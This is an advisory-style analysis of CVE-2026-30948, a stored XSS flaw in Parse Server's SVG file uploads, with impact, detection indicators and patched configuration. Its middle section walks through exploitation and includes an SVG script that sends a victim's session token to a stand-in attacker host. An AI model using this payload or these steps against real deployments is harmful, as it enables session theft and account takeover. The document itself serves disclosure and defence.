CVE-2026-30948: 
JavaScript vulnerability analysis and mitigation

CVE-2026-30948 is a stored cross-site scripting (XSS) vulnerability in Parse Server, an open-source Node.js backend platform, that allows any authenticated user to upload a malicious SVG file containing embedded JavaScript. The vulnerability affects Parse Server versions >= 9.0.0 and < 9.5.2-alpha.4, as well as all versions prior to 8.6.17. It was disclosed on March 10, 2026, with patches released the same day. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 8.3 (High) (GitHub Advisory, Parse Server Advisory).

The root cause is improper neutralization of user-supplied input during file upload (CWE-79). Parse Server's default fileExtensions configuration blocks HTML file extensions via a regex denylist (^(?![xXsS]?[hH][tT][mM][lL]?$)) but does not block SVG files, which are a well-known XSS vector. When an authenticated user uploads an SVG file containing embedded JavaScript, the server serves it inline with Content-Type: image/svg+xml and without protective response headers (such as Content-Disposition: attachment or X-Content-Type-Options), causing browsers to execute the embedded scripts within the Parse Server origin. The attack requires low privileges (any authenticated user) and passive user interaction (a victim must open or be directed to the uploaded file URL) (Parse Server Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the Parse Server origin, enabling theft of session tokens stored in localStorage and subsequent account takeover of any user who accesses the malicious file. Because the script runs in the server's origin, it can access all data available to that origin, including authentication credentials and sensitive application data. All Parse Server deployments with file upload enabled for authenticated users — the default configuration — are affected, making the attack surface broad across the ecosystem (Parse Server Advisory, GitHub Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.015–0.021%, placing it in the 6th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Authenticate: Obtain valid credentials for any user account on the target Parse Server instance (e.g., via self-registration if open, or a compromised account).
2. Craft malicious SVG: Create an SVG file with embedded JavaScript designed to steal session tokens, for example:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://attacker.example.com/steal?token=' + localStorage.getItem('Parse/sessionToken'));
  </script>
</svg>

3. Upload the SVG: Use the Parse Server file upload API (e.g., POST /1/files/malicious.svg) with the authenticated session token to upload the crafted SVG file.
4. Obtain the file URL: Retrieve the public URL of the uploaded SVG from the API response.
5. Deliver the link: Trick a target user (e.g., via phishing, a shared link, or embedding in application content) into navigating to the SVG file URL in their browser.
6. Harvest session token: When the victim's browser renders the SVG inline, the embedded JavaScript executes in the Parse Server origin, exfiltrating the victim's session token to the attacker-controlled server.
7. Account takeover: Use the stolen session token to authenticate as the victim and perform unauthorized actions on their behalf (Parse Server Advisory, GitHub Advisory).

• Network: Outbound HTTP requests from a victim's browser to an external domain immediately after accessing a Parse Server-hosted SVG file URL; unusual GET requests to Parse Server file endpoints (e.g., /1/files/*.svg) from multiple user sessions.
• Logs: Parse Server access logs showing authenticated POST requests to /1/files/ with .svg file uploads from non-administrative users; subsequent GET requests to the same SVG URL from different user accounts or IP addresses.
• File System: Presence of SVG files in the Parse Server file storage directory containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Application Behavior: Unexpected session token usage from IP addresses or user agents inconsistent with the legitimate account owner, indicating possible session hijacking following SVG file access.

The vulnerability is fixed in Parse Server 8.6.17 (for the 8.x branch) and 9.5.2-alpha.4 (for the 9.x branch); upgrading to these versions is the recommended remediation (Parse Server 8.6.17 Release, Parse Server 9.5.2-alpha.4 Release). The fix adds svg (case-insensitive) to the default file extension denylist, changing the regex from ^(?![xXsS]?[hH][tT][mM][lL]?$) to ^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG])$). If immediate patching is not possible, apply the following configuration workaround to explicitly block SVG uploads:

{
  "fileUpload": {
    "fileExtensions": ["^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG])$)"]
  }
}

Alternatively, consider disabling file uploads for authenticated users entirely until the patch can be applied (Parse Server Advisory).

The advisory was published by maintainer mtrezza on the Parse Server GitHub repository and simultaneously disclosed via the GitHub Advisory Database on March 10–11, 2026. The vulnerability was noted on social platforms including Bluesky shortly after disclosure. No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability aggregator listings.